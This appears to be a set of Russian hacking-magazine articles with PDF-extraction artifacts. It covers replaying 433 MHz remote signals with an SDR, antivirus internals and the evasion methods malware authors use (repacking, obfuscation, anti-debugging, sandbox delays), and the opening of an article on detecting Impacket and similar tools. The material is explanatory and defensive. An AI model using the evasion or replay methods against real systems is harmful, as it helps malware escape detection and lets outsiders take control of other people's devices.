Так,  не  вскры вая  пульт,  с  помощью  одной  толь ко  матема тики,  мы  выяс‐ 
нили, что у него внут ри.

Мож но  ли  при нять  сиг нал,  который  будет  еще  сла бее  и  рас положен
еще даль ше? Да, мож но, если вос поль зовать ся тем, что пульт переда ет пов‐ 
торя ющиеся  оди нако вые  посыл ки.  Для  это го  уже  одно го  GNU  Radio  будет
мало,  при дет ся  написать фун кцию накоп ления  и  усредне ния  сиг нала.  Тог да
отно шение сиг нал/шум мож но будет повысить. При мер но так астро номы при‐ 
нима ют сла бые сиг налы на ради оте лес копы. Или мож но сде лать нап равлен‐ 
ную антенну на 433 МГц.

Спо собы есть, как прог рам мные, так и аппа рат ные, если этот сиг нал тебе
дей стви тель но очень нужен.

ЧТО ДЕЛАТЬ, ЕСЛИ НИЧЕГО НЕ РАБОТАЕТ?
До пус тим,  ты  сде лал  все,  как  написа но  выше,  но  ничего  не  работа ет.  Где
копать?

Элек тро ника — наука  точ ная, и чудес здесь не быва ет. Для начала сто ит
про верить при ем: убе дить ся, что в записан ном фай ле есть сиг нал и его уро‐ 
вень  хорош.  В  записан ном  фай ле  дол жен  быть  чет ко  раз личимый  сиг нал.
Если сиг нала нет, про верь уси ление при емни ка и час тоту. Воз можно, час тота
пуль та дру гая или сиг нал инфрак расный, а не радио.

Что бы не возить ся с фай лами, запус ти SDR# и прос то пос мотри, что есть
на экра не во вре мя нажатия кно пок пуль та. Если ты не зна ешь точ ную час тоту,
нас трой  мак сималь ную  полосу  обзо ра  в  тво ем  SDR,  нап ример  10  МГц,
и нажимай кноп ки пуль та — где‐то этот сиг нал дол жен быть. Разуме ется, пока
не получишь сиг нал, даль ше дви гать ся бес полез но.

Ког да  час тота  извес тна  и  сиг нал  записан,  мож но  про верять  переда чу.
Важ ные парамет ры: антенна и мощ ность сиг нала. От это го зависит даль ность
переда чи.  Мощ ность  зада ется  в  нас трой ках  SDR,  этот  параметр  обыч но
называ ется Gain. Антенну в иде але луч ше исполь зовать готовую на 433 МГц,
нап ример  от  пор татив ной  ради останции.  Если  такой  антенны  нет,  сой дет
и кусок про вода, вот кну тый в антенное гнез до, но с ним даль ность переда чи
будет  гораз до  мень ше.  Для  начала  лам пу  (или  то,  чем  мы  управля ем)
желатель но  раз местить  рядом  с  SDR  на  рабочем  сто ле,  а  убе див шись,  что
все работа ет, уже мож но сде лать тес ты на даль ность.

Ка чес тво  переда чи  удоб но  про верять  с  помощью  SDR#  и  кон троль ного
при емни ка RTL SDR, спектр сиг нала мож но вывес ти на вто рой монитор. Если
переда чи нет сов сем, смот ри в кон соли GNU Radio сооб щения об ошиб ках —
воз можно, не уста нов лен пра виль ный драй вер или в нас трой ках передат чика
выб рано дру гое антенное гнез до. Глав ное, что бы ты не пытал ся переда вать
с помощью RTL SDR.

Все  это  навер няка  будет  работать  толь ко  с  прос тыми  устрой ства ми,
которые  переда ют  жес тко  зашитые  сиг налы.  Теоре тичес ки,  если  сиг нал
не  содер жит  динами чес ки  изме няемых  полей,  спо соб  переда чи  заранее
записан ного сиг нала будет работать, если же устрой ства обме нива ются дан‐ 
ными или клю чами, то ничего не вый дет.

Что  каса ется  даль нос ти,  то  с  SDR  и  антенной  от  рации  на  433 МГц мне
уда валось зажечь лам пу, находя щуюся в дру гом кон це квар тиры, а если спе‐ 
циаль но сде лать нап равлен ную антенну, то даль ность мож но уве личить.

ЗАКЛЮЧЕНИЕ
Уп равлять  некото рыми  бес про вод ными  устрой ства ми  с  помощью  SDR  воз‐ 
можно и даже инте рес но в пла не прог рамми рова ния и матема тики.

С  точ ки  зре ния  уяз вимос ти:  еще  раз  пов торю,  что  прос тые  пуль ты,
которые  раз бирались  в  тек сте,  никакой  защиты  не  име ют.  Это  пла та
за дешевиз ну и прос тоту конс трук ции. С дру гой сто роны, ничего серь езно го
к таким пуль там обыч но и не под клю чают. Гораз до более веро ятна проб лема
не «хакер с ноут буком», а баналь ное сов падение каналов.

Мощ ный  обог реватель  я  бы  под клю чал  к  ради оуп равле нию  с  боль шой
осто рож ностью и обес точивал бы при дли тель ных отъ ездах в отпуск, а канал
луч ше  сме нить  с  дефол тно го  на  дру гой  в  нас трой ках  пуль та.  А  если  твои
друзья или соседи накупи ли ради оуп равля емых лам почек — ты зна ешь, как их
разыг рать на пер вое апре ля.

https://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BD%D0%BE%D1%88%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB/%D1%88%D1%83%D0%BC
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ВЗЛОМ

Дис куссии  о  том,  нуж ны  ли  анти виру сы,
или  они  совер шенно  бес полез ны,  не  ути‐ 
хают  с  момен та  появ ления  самих  анти‐ 
вирус ных  при ложе ний.  При мер но  столь ко
же длит ся неп рекра щающаяся борь ба меж‐ 
ду  вир мей керами  и  про изво дите лями
защит ного ПО: одни пос тоян но изоб рета ют
все новые и новые алго рит мы детек тирова‐ 
ния, дру гие стре мят ся во что бы то ни ста ло
их обой ти.

Как  работа ют  сов ремен ные  анти вирус ные  прог раммы  и  какие  методы
исполь зуют  зло умыш ленни ки  для  борь бы  с  ними? Об  этом —  сегод няшняя
статья.

КАК АНТИВИРУСНЫЕ КОМПАНИИ ПОПОЛНЯЮТ БАЗЫ?
При мени тель но  к  сов ремен ным  анти вирус ным  тех нологи ям  само  понятие
«анти вирус»  —  это  ско рее  дань  моде,  нежели  тер мин,  пра виль но  отра‐ 
жающий  суть  вещей.  Клас сичес кие фай ловые  вирусы,  то  есть  вре донос ные
прог раммы,  спо соб ные  заражать  исполня емые  фай лы  или  динами чес кие
биб лиоте ки  и  рас простра нять ся  без  учас тия  поль зовате ля,  сегод ня  очень
боль шая  ред кость.  Подав ляющее  боль шинс тво  встре чающих ся  сей час
в «дикой при роде» вре доно сов — это тро яны, не спо соб ные ни к зараже нию
фай ловых  объ ектов,  ни  к  самореп ликации.  Чуть  реже  в  руки  ана лити ков
попада ются  чер ви:  эти  прог раммы могут  соз давать  свои  копии  на  съем ных
носите лях или сетевых дис ках, «рас ползать ся» по сети или каналам элек трон‐ 
ной  поч ты,  но  фай лы  заражать  не  уме ют.  Все  осталь ные  тра дици онные
катего рии  вре донос ного  ПО  отли чают ся  друг  от  дру га  лишь  базовым
набором фун кций, но по сво ей архи тек туре могут быть све дены к этим трем
груп пам.

Как  образцы  вре доно сов  попада ют  в  вирус ные  лабора тории?  Каналов
пос тупле ния новых сем плов у анти вирус ных ком паний тра дици онно нес коль‐ 
ко.  Преж де  все го,  это  онлайн‐сер висы  вро де  VirusTotal,  то  есть  сер веры,
на которых любой ано ним ный поль зователь может про верить детек тирова ние
про изволь ного фай ла сра зу десят ком самых популяр ных анти вирус ных движ‐ 
ков. Каж дый заг ружен ный обра зец вне зависи мос ти от резуль татов про вер ки
авто мати чес ки отправ ляет ся вен дорам для более деталь ного иссле дова ния.

Оче вид но,  что  с  подоб ных  ресур сов  в  вирус ные  лабора тории  при лета ет
огромный поток мусора, вклю чая совер шенно безобид ные тек сто вые фай лы
и  кар тинки,  поэто му  на  вхо де  он  филь тру ется  спе циаль но  обу чен ными
робота ми и толь ко пос ле это го переда ется по кон вей еру даль ше. Эти ми же
сер висами успешно поль зуют ся неболь шие ком пании, жела ющие сэконо мить
на  содер жании  собс твен ных  вирус ных  лабора торий.  Они  тупо  копиру ют
в свои базы чужие детек ты, из‐за чего регуляр но испы тыва ют эпи чес кие фей‐ 
лы, ког да какой‐нибудь вен дор в шут ку или по недора зуме нию пос тавит вер‐ 
дикт  infected  на  тот  или  иной  ком понент  такого  анти виру са,  пос ле  чего  тот
радос тно перено сит в каран тин собс твен ную биб лиоте ку и с гро хотом валит‐ 
ся, вызывая бат тхерт у поль зовате лей и исте ричес кий хохот у кон курен тов.

Вто рой канал — «самотек», подоз ритель ные фай лы, которые поль зовате‐ 
ли переда ют в вир лаб через сайт анти вирус ной ком пании, по зап росу служ бы
под дер жки или выг ружа ют из каран тина. Тре тий канал — ханипо ты, спе циаль‐ 
ные  при ман ки  для  вир мей керов  в  виде  вир туаль ных  сер веров  с  откры тыми
наружу  пор тами  и  логина ми‐пароля ми  вро де  root/root,  куда  некото рые
ботово ды радос тно залива ют свои тво рения, дивясь кри вору кос ти адми нов.
Наконец,  чет вертый  путь —  обмен  базами  меж ду  самими  вен дорами,  но  в
пос ледние  годы в силу обос трив шей ся  кон курен ции на рын ке и сузив шей ся
кор мовой  базы  коопе рация меж ду  анти вирус ными  ком пани ями  прак тичес ки
сош ла на нет.

Пос ле того как семпл попада ет в вирус ную лабора торию, он сор тиру ется
по  типу  фай ла  и  иссле дует ся  авто мати чес кими  средс тва ми  ана лити ки,
которые  могут  уста новить  вер дикт  по  фор маль ным  или  тех ничес ким  приз‐ 
накам —  нап ример,  по  упа ков щику.  И  толь ко  если  роботам  рас кусить  вре‐ 
доно са  не  уда лось,  он  переда ется  вирус ным  ана лити кам  для  про веде ния
инс тру мен таль ного или руч ного ана лиза.

АНАТОМИЯ АНТИВИРУСА
Ан тивирус ные  прог раммы  раз личных  про изво дите лей  вклю чают  в  себя  раз‐ 
ное  чис ло  ком понен тов,  и  даже  более  того,  одна  и  та  же  ком пания  может
выпус кать  нес коль ко  вер сий  анти виру са,  вклю чающих  опре делен ный  набор
модулей  и  ори енти рован ных  на  раз личные  сег менты  рын ка.  Нап ример,
некото рые  анти виру сы  рас полага ют  ком понен том  родитель ско го  кон тро ля,
поз воля юще го  огра ничи вать  дос туп  несовер шенно лет них  поль зовате лей
компь юте ра  к  сай там  опре делен ных  катего рий  или  регули ровать  вре мя  их
работы в сис теме, а некото рые — нет. Так или ина че, обыч но сов ремен ные
анти вирус ные  при ложе ния  обла дают  сле дующим  набором  фун кци ональ ных
модулей:

ан тивирус ный ска нер — ути лита, выпол няющая поиск вре донос ных прог‐ 
рамм  на  дис ках  и  в  памяти  устрой ства  по  зап росу  поль зовате ля  или  по
рас писанию;

•

ре зиден тный  монитор  —  ком понент,  выпол няющий  отсле жива ние  сос‐ 
тояния  сис темы  в  режиме  реаль ного  вре мени  и  бло киру ющий  попыт ки
заг рузки или запус ка вре донос ных прог рамм на защища емом компь юте‐ 
ре;

•

бран дма уэр (фай рвол) — ком понент, выпол няющий монито ринг текуще го
соеди нения,  вклю чая  ана лиз  вхо дяще го  и  исхо дяще го  тра фика,  а  так же
про веря ющий  исходный  адрес  и  адрес  наз начения  в  каж дом  переда‐ 
ваемом  с  компь юте ра  и  пос тупа ющем  на  компь ютер  пакете  информа‐ 
ции — дан ные, пос тупа ющие из внеш ней сре ды на защищен ный бран дма‐ 
уэром компь ютер без пред варитель ного зап роса, отсле жива ются и филь‐ 
тру ются.  С  фун кци ональ ной  точ ки  зре ния  бран дма уэр  выс тупа ет  в  роли
сво еоб разно го  филь тра,  кон тро лиру юще го  поток  переда ваемой  меж ду
локаль ным  компь юте ром и  интерне том информа ции,  защит ного барь ера
меж ду компь юте ром и всем осталь ным информа цион ным прос транс твом;

•

веб‐анти вирус  —  ком понент,  пре дот вра щающий  дос туп  поль зовате ля
к опас ным ресур сам, рас простра няющим вре донос ное ПО, фишин говым
и  мошен ничес ким  сай там  с  исполь зовани ем  спе циаль ной  базы  дан ных
адре сов или сис темы рей тин гов;

•

поч товый анти вирус — при ложе ние,  выпол няющее про вер ку на безопас‐ 
ность  вло жений  в  сооб щения  элек трон ной  поч ты  и  (или)  пересы лаемых
по элек трон ной поч те ссы лок;

•

мо дуль  анти рут кит — модуль,  пред назна чен ный  для  борь бы  с  рут китами
(вре донос ными  прог рамма ми,  обла дающи ми  спо соб ностью  скры вать
свое при сутс твие в инфи циро ван ной сис теме);

•

мо дуль  пре вен тивной  защиты  —  ком понент,  обес печива ющий  целос‐ 
тность жиз ненно  важ ных  для  работос пособ ности  сис темы дан ных  и  пре‐ 
дот вра щающий опас ные дей ствия прог рамм;

•

мо дуль  обновле ния  —  ком понент,  обес печива ющий  сво евре мен ное
обновле ние дру гих модулей анти виру са и вирус ных баз;

•

ка ран тин  —  цен тра лизо ван ное  защищен ное  хра нили ще,  в  которое
помеща ются подоз ритель ные (в некото рых слу чаях — опре делен но инфи‐ 
циро ван ные) фай лы и при ложе ния до того, как по ним будет вынесен окон‐ 
чатель ный вер дикт.

•

В зависи мос ти от вер сии и наз начения анти вирус ной прог раммы, она может
вклю чать  в  себя  и  дру гие  фун кци ональ ные  модули,  нап ример  ком понен ты
для цен тра лизо ван ного адми нис три рова ния, уда лен ного управле ния.

Сиг натур ное детек тирова ние
Сов ремен ные  анти вирус ные  прог раммы  исполь зуют  нес коль ко  методик
обна руже ния  вре донос ных  прог рамм  в  раз личных  их  сочета ниях.  Основная
из них — это сиг натур ное детек тирова ние угроз.

Дан ный  метод  детек тирова ния  мал вари  осно выва ется  на  соз дании  так
называ емых  сиг натур  —  уни каль ных  циф ровых  иден тифика торов  фай ла,
пред став ляющих собой спе циаль ный набор бай тов и получа емых на осно ве
содер жимого иссле дуемо го фай ла. Фак тичес ки сиг натура — это сво его рода
«отпе чаток паль цев» фай ла: с помощью сиг натуры мож но однознач но иден‐ 
тифици ровать тот или иной файл или при ложе ние. Схо жим обра зом устро ены
хеши фай лов, нап ример SHA‐1 или SHA‐256, — при этом под хеширо вани ем
в дан ном слу чае понима ется пре обра зова ние содер жимого фай ла с исполь‐ 
зовани ем  одно нап равлен ной  матема тичес кой  фун кции  (алго рит ма  крип‐ 
тогра фичес кого хеширо вания), в резуль тате которо го получа ется уни каль ный
набор  шес тнад цатерич ных  сим волов.  Одно нап равлен ной  такая  фун кция
называ ется  потому,  что  получить  из фай ла  хеш очень  прос то,  а  вот  вос ста‐ 
новить из хеша исходный файл уже невоз можно. Вирус ная сиг натура устро‐ 
ена нес коль ко слож нее: помимо хеша, она содер жит еще целый ряд уни каль‐ 
ных приз наков фай ла.

Сиг натуры  собира ются  в  блок  дан ных,  называ емый  вирус ными  базами.
Вирус ные  базы  анти вирус ных  прог рамм  пери оди чес ки  обновля ются,  что бы
добавить в них сиг натуры новых угроз, иссле дован ных за истекшее с момен та
пос ледне го обновле ния вре мя.

Ан тивирус ная  прог рамма иссле дует  хра нящи еся  на дис ках  (или  заг ружа‐ 
емые  из  интерне та)  фай лы  и  срав нива ет  резуль таты  иссле дова ния  с  сиг‐ 
натура ми,  записан ными  в  анти вирус ной  базе.  В  слу чае  сов падения  такой
файл  счи тает ся  вре донос ным.  Дан ная  методи ка  сама  по  себе  име ет  зна‐ 
читель ный  изъ ян:  зло умыш ленни ку  дос таточ но  изме нить  струк туру  фай ла
на нес коль ко бай тов, и его сиг натура изме нит ся. До тех пор пока новый обра‐ 
зец вре доно са не попадет в вирус ную лабора торию и его сиг натура не будет
добав лена в базы, анти вирус не смо жет рас познать и лик видиро вать дан ную
угро зу.

По веден ческий ана лиз
По мимо  сиг натур ного  детек тирова ния,  боль шинс тво  сов ремен ных  анти‐ 
вирус ных прог рамм исполь зуют те или иные механиз мы поведен ческо го ана‐ 
лиза. Поведен ческий ана лиз мож но отнести к раз новид ности веро ятнос тно го
ана лиза — как это и сле дует из наз вания дан ного метода, анти вирус ная прог‐ 
рамма  сле дит  за  поведе нием  при ложе ний  и,  если  оно  кажет ся  ей  подоз‐ 
ритель ным, бло киру ет работу потен циаль но опас ной прог раммы.

Один  из  безопас ных  методов  иссле довать  поведе ние  при ложе ния  —
запус тить  его  в  так  называ емой  песоч нице  (sandbox)  —  защищен ном  изо‐ 
лиро ван ном  вир туаль ном  кон тей нере,  из  которо го  при ложе ние  не  может
получить  дос туп  к  ком понен там  ОС  и  фай ловой  сис теме.  Если  поведе ние
прог раммы  вызыва ет  у  анти виру са  подоз рения,  нап ример  она  выпол няет
инжект, модифи циру ет заг рузоч ную запись или изме няет струк туру исполня‐ 
емо го фай ла, она может быть приз нана потен циаль но опас ной или вре донос‐ 
ной.

Эв ристи чес кий ана лиз
Эв ристи чес кий ана лиз — раз новид ность веро ятнос тно го ана лиза вре донос‐ 
ных прог рамм, осно ван ная на логичес ких алго рит мах, поз воля ющих выявить
и  обез вре дить  потен циаль но  опас ное  при ложе ние.  Эвристи чес кий  ана лиз
при ходит  поль зовате лям  на  помощь  в  тех  слу чаях,  ког да  угро зу  не  уда ется
обна ружить с помощью сиг натур ного детек тирова ния.

Уп рощая, основной прин цип эвристи чес кого ана лиза мож но опи сать сле‐ 
дующим  обра зом.  Каж дой  фун кции,  которую  может  реали зовы вать  прог‐ 
рамма в опе раци онной сис теме, наз нача ется некий условный «рей тинг опас‐ 
ности». Какие‐то дей ствия при ложе ния могут счи тать ся менее опас ными, дру‐ 
гие — более. Если по совокуп ности выпол няемых при ложе нием дей ствий оно
пре выша ет  некий  условный  «порог  безопас ности»,  оно  приз нает ся  потен‐ 
циаль но вре донос ным.

Нап ример,  если  прог рамма  работа ет  в  фоновом  режиме,  не  име ет  гра‐ 
фичес кого  интерфей са,  пос ледова тель но  опра шива ет  уда лен ные  сер веры,
а потом пыта ется ска чать с них и запус тить в сис теме какое‐то при ложе ние,
она  с  высокой  долей  веро ятности  может  ока зать ся  тро янцем‐заг рузчи ком.
Или ути литой обновле ния бра узе ра Google Chrome. В этом, оче вид но, и кро‐ 
ется  основная  ахил лесова  пята  эвристи чес кого  метода  ана лиза  вирус ных
угроз — боль шая веро ятность «фолс‐позити ва», лож ного сра баты вания.

Дру гой  метод  эвристи чес кого  ана лиза  —  эму ляция  исполне ния  прог‐ 
раммы.  Анти вирус  заг ружа ет  подоз ритель ное  при ложе ние  в  собс твен ную
буфер ную память, раз бира ет код на инс трук ции и выпол няет их по оче реди,
про веряя резуль тат.

Эв ристи чес кий ана лиз при меня ется с целью выявить и обез вре дить угро‐ 
зы, еще неиз вес тные анти виру су — то есть те, сиг натуры которых на текущий
момент отсутс тву ют в вирус ных базах. Отсю да логичес ки вытека ет еще один
недос таток эвристи чес ких алго рит мов — даже если неиз вес тную ранее угро‐ 
зу  уда ется  обна ружить,  ее  далеко  не  всег да  получа ется  сра зу  «вылечить».
Во мно гих слу чаях поль зовате лю при ходит ся ожи дать появ ления оче ред ного
обновле ния  вирус ных  баз,  содер жащего  алго рит мы  лечения  кон крет но
для этой вре донос ной прог раммы.

Про активная защита (HIPS)
Про активную  анти вирус ную  защиту  (HIPS  —  Host‐based  Intrusion  Prevention
System,  англ.  «сис тема  пре дот вра щения  втор жений»)  так же  мож но  отнести
к  раз новид ности  анти вирус ной  защиты  на  осно ве  поведен ческо го  ана лиза.
Анти вирус  сле дит  за  запущен ными  при ложе ниями  и  информи рует  поль‐ 
зовате ля  о  тех  или  иных  дей стви ях  прог раммы.  Решения  о  том,  поз волить
или зап ретить прог рамме выпол нять какое‐либо дей ствие, при нима ет поль‐ 
зователь.  Это  клас сичес кий  вари ант  реали зации  HIPS.  Сущес тву ет  еще  так
называ емый  экспертный  вари ант,  при  котором  анти вирус  самос тоятель но
бло киру ет дей ствия тех или иных при ложе ний на осно ве набора заложен ных
в  него  пра вил  и  раз решений.  Поль зователь  может  при  необ ходимос ти
добавить  какую‐либо прог рамму  в  спи сок исклю чений,  раз решив ей  выпол‐ 
нение любых или толь ко выб ранных дей ствий в защища емой сис теме.

МЕТОДИКИ ПРОТИВОДЕЙСТВИЯ АНТИВИРУСАМ
К  сожале нию,  борь ба  вирусо писа телей  и  про изво дите лей  анти вирус ных
прог рамм  носит  пер манен тный  харак тер:  пер вые  неп рерыв но  изоб рета ют
все  новые  и  новые  спо собы  обхо да  анти вирус ной  защиты,  вто рые  —  ста‐ 
рают ся  совер шенс тво вать  алго рит мы  поис ка  и  обна руже ния  вре донос ного
ПО.  Давай  перечис лим  основные  методи ки,  которы ми  поль зуют ся  вир мей‐ 
керы.

Пе реупа ков ка
Са мый  рас простра нен ный  и  популяр ный  метод,  активно  при меня емый
вирусо писа теля ми для обхо да сиг натур ного детек та. Как я уже говорил, сиг‐ 
натуру  мож но  наз вать  сво его  рода  ана логом  отпе чат ков  паль цев  каж дого
кон крет ного  фай ла,  при  этом  она  уни каль на  для  фай лового  объ екта.  Соот‐ 
ветс твен но,  если  в  файл  будут  вне сены  даже  нез начитель ные  изме нения,
анти вирус  не  смо жет  «опоз нать»  его  с  помощью  сиг натуры,  и  такой  файл
не будет детек тировать ся анти виру сом до тех пор, пока не попадет в иссле‐ 
дова тель скую лабора торию.

На ибо лее прос той  спо соб изме нить  струк туру фай ла,  не меняя его фун‐ 
кци ональ ных  воз можнос тей,  —  это  «нак рыть»  его  прог рам мным  упа ков‐ 
щиком. Прог рам мные  упа ков щики  сжи мают  содер жимое фай ла  при ложе ния
и дописы вают к нему код, необ ходимый для рас паков ки и выпол нения прог‐ 
раммы.  Некото рые  из  них  к  тому  же  вклю чают  раз личные  фун кции  шиф‐ 
рования,  зат рудня ющие  ана лиз  и  иссле дова ние  подоб ного  при ложе ния.
Этим и поль зуют ся зло умыш ленни ки.

При каж дой пов торной упа ков ке фай ла его сиг натура меня ется, и он ста‐ 
новит ся «невиди мым» для сис темы сиг натур ного детек тирова ния анти виру са.
Некото рые вирусо писа тели, что бы зат руднить иссле дова ние вируса или тро‐ 
яна,  упа ковы вают  и  шиф руют  свои  тво рения  в  «нес коль ко  сло ев»  —  тог да
под одним  упа ков щиком пря чет ся  дру гой  сжа тый и  зашиф рован ный объ ект,
под ним — еще один, и вся конс трук ция напоми нает в ито ге эда кую логичес‐ 
кую мат решку, доб рать ся до «сер дце вины» которой быва ет весь ма неп росто.

Иног да кибер прес тупни ки при меня ют и иной метод: на сер вере, с которо‐ 
го жер твам раз дает ся  вре донос ное ПО,  уста нав лива ется  спе циаль ный  сце‐ 
нарий.  При  акти виза ции  это го  сце нария  (нап ример,  при  перехо де  поль‐ 
зовате ля  по  ссыл ке)  он извле кает из  соот ветс тву ющей дирек тории сер вера
бинар ный  файл  вре доно са,  упа ковы вает  его  на  лету  и  толь ко  пос ле  это го
«отда ет»  его  поль зовате лю.  Таким  обра зом  каж дая  жер тва  получа ет  свой
собс твен ный,  уни каль ный  экзем пляр  вре донос ной  прог раммы,  гаран‐ 
тирован но не детек тиру емой по сиг натуре.

Об фуска ция
Об фуска ция  (от  англ.  obfuscate —  «запуты вать»,  «сби вать  с  тол ку») —  соз‐ 
натель ное  запуты вание,  усложне ние  кода  вре донос ной  прог раммы  с  сох‐ 
ранени ем ее фун кци ональ нос ти, что бы зат руднить ее иссле дова ние и ана лиз.
В  целях  обфуска ции  вирусо писа тели  иног да  добав ляют  в  при ложе ние
«мусор ный»  код,  ненуж ные инс трук ции, мно жес твен ные перехо ды и мно гок‐ 
ратные  вызовы  раз личных  фун кций.  Сущес тву ют  спе циаль ные  ути литы,  соз‐ 
данные для запуты вания кода при ложе ний, — обфуска торы.

Об фуска ция  при ложе ний  зат рудня ет  реверс‐инжи ниринг,  то  есть  деком‐ 
пиляцию  вре донос ной  прог раммы  и  изу чение  ее  фун кци ональ ных  воз‐ 
можнос тей на уров не кода, одна ко одновре мен но с этим усложня ет вирусо‐ 
писа телям  отладку  при ложе ния,  а  в  некото рых  слу чаях  —  уве личи вает  его
раз мер и сни жает быс тро дей ствие.

Ан тиот ладка
Боль шинс тво  сов ремен ных  вре донос ных  прог рамм  осна щены  мощ ными
механиз мами анти отладки, пре пятс тву ющи ми их иссле дова нию. Ряд вирусов
и  тро янов в момент начала работы про веря ют, не пыта ются ли их  запус тить
в  изо лиро ван ной  сре де  («песоч нице»),  под  отладчи ком  или  в  вир туаль ной
машине. Реали зова но  это раз ными метода ми — нап ример,  вре донос пыта‐ 
ется получить име на работа ющих про цес сов (и срав нить их с задан ным спис‐ 
ком), ищет харак терные стро ки в заголов ках откры тых окон. Если вре донос‐ 
ное  при ложе ние  опре деля ет  попыт ку  запус ка  в  вир туаль ной  сре де  или  под
отладчи ком, оно завер шает свою работу.

Ана логич но мно гие вре доно сы ищут сре ди уста нов ленных или запущен ных
прог рамм  при ложе ния  популяр ных  анти виру сов  и  пыта ются  завер шить  их,
а  если  это  не  получа ется,  выг ружа ются  сами.  Быва ют  и  более  инте рес ные
вари анты:  так,  тро ян,  извес тный  под  име нем  Trojan.VkBase.73,  менял
парамет ры  заг рузки Windows,  уста нав ливал  в  сис теме  спе циаль ную  служ бу,
которая  при  перезаг рузке  сис темы  в  безопас ном  режиме  уда ляла  уста нов‐ 
ленные на компь юте ре анти виру сы. Затем тро ян раз мещал в области уве дом‐ 
лений  панели  задач  зна чок  соот ветс тву юще го  анти вирус ного  при ложе ния,
которое было ранее им уда лено. В резуль тате поль зователь даже не догады‐ 
вает ся,  что  его  компь ютер  боль ше  не  име ет  анти вирус ной  защиты.  Пос ле
успешно го  уда ления  анти виру са  защиты  на  экран  выводит ся  сооб щение
на  рус ском  или  англий ском  язы ке  (в  зависи мос ти  от  вер сии  анти вирус ного
ПО и локали ОС) сле дующе го содер жания: «Вни мание! Анти вирус [наз вание
анти виру са]  работа ет  в  режиме  уси лен ной  защиты.  Это  вре мен ная  мера,
необ ходимая для момен таль ного реаги рова ния на угро зы со сто роны вирус‐ 
ных  прог рамм.  От  вас  не  тре бует ся  никаких  дей ствий».  Дан ное  сооб щение
демонс три рует ся  для  того,  что бы  поль зователь  не  забес поко ился,  обна‐ 
ружив,  что  зна чок  анти вирус ной  прог раммы  в  области  уве дом лений  панели
задач Windows боль ше не реаги рует на щел чки мышью.

Для обхо да песоч ницы некото рые вирусы или тро яны име ют спе циаль ные
«механиз мы замед ления», которые «при тор мажива ют» вре донос ную фун кци‐ 
ональ ность  при ложе ния  или  «усып ляют»  ее  на  некото рый  срок,  акти визи руя
дес трук тивные фун кции по исте чении опре делен ного вре мени. Это поз воля‐ 
ет  усы пить  бди тель ность  защит ной  прог раммы,  которая,  запус тив  при ложе‐ 
ние в песоч нице и убе див шись в его безопас ности, дает ему «зеленый свет».
Нап ример, один из сов ремен ных тро янцев исполь зует такой механизм обхо‐ 
да авто мати зиро ван ных сис тем ана лиза: соз дает во вре мен ной пап ке файл,
в  которой  мил лион  раз  записы вает  по  одно му  бай ту,  а  потом  мил лион  раз
чита ет  из  него  так же  по  одно му  бай ту. В  резуль тате  таких  безобид ных  дли‐ 
тель ных  цик личес ких  дей ствий  про цеду ра  поведен ческо го  ана лиза  завер‐ 
шает ся  рань ше,  чем  тро янец  начина ет  реали зовы вать  свои  основные  фун‐ 
кции.

ПОСЛЕСЛОВИЕ
Ал горит мы  детек тирова ния  вре донос ного  ПО,  так  же  как  и  методы  борь бы
с анти виру сами, совер шенс тву ются с каж дым днем. Одна ко уни каль ные алго‐ 
рит мы обхо да анти вирус ной защиты появ ляют ся край не ред ко — как пра вило,
вир мей керы  исполь зуют  стан дар тные  и  дав но  про верен ные  на  прак тике
методи ки.  Раз работ чики  защит ных  прог рамм,  хорошо  зна ющие  все  эти
методи ки, час то ока зыва ются на пол шага впе реди вирусо писа телей. Имен но
поэто му  анти вирус ная  защита  все  еще  оста ется  доволь но  эффектив ным
методом борь бы с вре донос ными и потен циаль но опас ными прог рамма ми —
осо бен но для неопыт ных поль зовате лей.
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ВЗЛОМ

Ата ки на Windows в наше вре мя одна из наибо лее реаль ных
угроз  для  ком паний.  При  этом  исходный  код  исполь зуемых
хакера ми инс тру мен тов открыт и дос тупен на GitHub. В этой
статье мы погово рим о том, какие сущес тву ют средс тва раз‐ 
вития  ата ки  внут ри  инфраструк туры,  и  о  том,  как  их
эффектив но детек тировать.

В 2017–2018 годах груп пиров ки APT Dragonfly, APT28 и   про‐ 
води ли ата ки на пра витель ствен ные и воен ные орга низа ции Евро пы, Север‐ 
ной Аме рики и Саудов ской Ара вии. И исполь зовали для это го три инс тру мен‐ 
та —  ,   и  .

APT MuddyWater

Impacket CrackMapExec Koadic
Пе речис ленные средс тва при меня ются на раз ных ста диях ата ки, которые

сле дуют  пос ле  пре одо ления  перимет ра.  На  этих  эта пах  детек тировать мал‐ 
варь  уже  неп росто.  Для  это го  нуж но  либо 
в сетевом тра фике, либо   для обна руже ния активных
дей ствий зло умыш ленни ка.

вы являть  сле ды  ком про мета ции
при менять инс тру мен ты

В  Impacket,  CrackMapExec  и  Koadic  реали зова но  мно жес тво  инте рес ных
фун кций — от переда чи фай лов до вза имо дей ствия с реес тром и выпол нения
команд  на  уда лен ной  машине.  Мы  иссле дова ли  эти  инс тру мен ты  с  целью
опре делить их сетевую активность. Вот какие задачи мы перед собой ста вили
в рам ках иссле дова ния.

 Узнать, что нуж‐ 
но  ата кующим  для  экс плу ата ции  и  какими  тех нологи ями  они  могут  вос‐ 
поль зовать ся.

• По нять, как работа ет хакер ский инс тру мен тарий.

  Ста дия  раз ведки  может
быть  про пуще на  —  либо  потому,  что  ата кующим  выс тупа ет  внут ренний
зло умыш ленник,  либо  потому,  что  ата кующий  поль зует ся  такой  брешью
в  инфраструк туре,  о  которой  не  было  извес тно  ранее.  Появ ляет ся  воз‐ 
можность  вос ста новить  всю  цепоч ку  его  дей ствий,  отсю да  воз ника ет
желание обна ружи вать даль нейшее перед вижение.

• Най ти  то,  что  не  детек тиру ется  средс тва ми  информа цион ной

безопас ности  на  пер вых  ста диях  ата ки.

 Нель зя забывать и о том, что при обна руже нии тех или иных дей‐ 
ствий на осно ве одной толь ко раз ведки воз можны час тые ошиб ки. Сущес‐ 
тву ет  мно жес тво  спо собов  замас кировать  активность  вре донос ного
ПО под легитим ные дей ствия.

• Ус тра нить  лож ные  сра баты вания  средств  обна руже ния  втор- 

жений.

Итак, что кон крет но дела ют перечис ленные инс тру мен ты? В слу чае с Impacket
зло умыш ленни ки  получа ют  боль шую  биб лиоте ку  модулей,  которые  мож но
исполь зовать  на  раз ных  ста диях  ата ки,  сле дующих  пос ле  пре одо ления
